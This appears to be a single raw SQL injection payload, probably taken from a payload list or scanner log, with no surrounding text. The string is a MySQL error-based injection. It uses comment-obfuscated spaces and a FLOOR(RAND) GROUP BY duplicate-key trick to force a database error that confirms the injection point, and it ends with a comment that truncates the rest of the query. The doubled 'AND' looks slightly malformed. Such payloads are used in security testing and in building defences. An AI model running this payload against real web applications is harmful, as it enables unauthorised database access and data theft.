1) AND AND/**/ROW(8462,8028)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(8462=8462,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/7786/**/UNION/**/SELECT/**/2937/**/UNION/**/SELECT/**/5208/**/UNION/**/SELECT/**/2684)a/**/GROUP/**/BY/**/x)-- -